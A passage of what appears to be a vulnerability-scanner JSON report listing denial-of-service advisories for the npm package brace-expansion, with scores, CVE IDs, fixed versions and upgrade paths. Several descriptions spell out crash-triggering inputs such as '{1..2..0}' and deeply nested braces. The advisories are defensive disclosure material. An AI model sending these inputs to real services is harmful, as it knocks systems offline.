"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": 